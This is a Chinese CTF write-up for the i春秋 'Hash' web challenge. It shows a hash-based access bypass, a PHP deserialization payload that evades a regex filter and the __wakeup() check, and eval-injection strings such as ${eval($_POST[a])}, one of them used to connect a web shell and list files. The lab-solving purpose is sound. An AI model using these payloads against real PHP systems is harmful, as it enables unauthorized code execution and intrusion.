CTF-i春秋-Web-Hash
阿新 • • 發佈:2020-09-17
2020.09.17
哈哈,我又來了 i春秋
做題
Hash
- 開啟連結,出現一個超連結,點進去,原始碼中出現線索
you are 123;if you are not 123,you can get the flag<br><!--$hash=md5($sign.$key);the length of $sign is 8
- 思路很簡單,url是由key和hash組成,hash值是取自sign+key,我們現在知道key是123,對已知的hash進行破解,得到
kkkkkk01123
,所以sign是kkkkkk01
- 那麼我們構造key=admin,再取
kkkkkk01admin
的md5為049f601185c0846faac45065a834b1c5
./index.php?key=admin&hash=049f601185c0846faac45065a834b1c5
,OK,結果如下next step is Gu3ss_m3_h2h2.php
- 直接訪問就可,接下來就是原始碼分析
<?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("Gu3ss_m3_h2h2.php"); } ?>
- 從程式碼我們可以看到,傳入var值,先進行過濾,然後反序列化,對我比較有用的wp,這裡利用的就是反序列化時,修改序列化個數來對__wakeup()方法進行繞過,通過如下php可以構造payload
<?php //類定義 class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } //新建類 $a = new Demo('f15g_1s_here.php'); // $a = new Demo('True_F1ag_i3_Here_233.php'); //序列化 $s = serialize($a); //替換類開頭如果匹配 $s = str_replace('O:4:','O:+4:',$s); //替換類數量繞過__wakeup()函式 $s = str_replace(':1:',':2:',$s); //base64加密並輸出 echo base64_encode($s);
可得構造的payload Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
- 然後就得到f15g_1s_here.php檔案原始碼,再次分析,這裡利用的是eval語句,思路是通過eval獲取儲存flag的檔案,這裡有多種方法
- 構造出POST的傳入點,用菜刀連線主機後拿flag,payload:
http://8a03ab0784034c4d950bfeff74d497dd61f047cf6f784a40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[a])}
- GET方法的利用,payload:
http://8a03ab0784034c4d950bfeff74d497dd61f047cf6f784a40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo
ls;
- 獲取到真正的檔案是
True_F1ag_i3_Here_233.php
,再利用第5步中的方法構造payload,輸出flag
- 構造出POST的傳入點,用菜刀連線主機後拿flag,payload:
<?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";'); //對一些符號進行轉義,所以不能輸入引號等符號
} else {
die('hahaha!');
}
?>
經驗教訓
- 序列化與反序列化用@serialize($var)和 @unserialize($var);
- 反序列化的時候,如果有__wakeup()方法,會先執行他,最後執行__destruct()方法;
- 序列化的結果一般是
O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
這種形式,{
之前的是被序列化的個數,如果他的值大於真正的個數,那麼__wakeup()方法將被繞過; - 我可以在vscode中建立php檔案,並且可以通過終端
php decry.php
來執行他,可以用這種方法來得到一些需要php中方法計算的payload; /[oc]:\d+:/i
這個正則,匹配o:4,可以用o:+4來繞過- addslashes()會對單雙引號、反斜槓、NULL進行轉義,
eval('$value="' . addslashes($val) . '";');
可以用val=${eval($_GET[a])}&a=echo
ls;
來繞過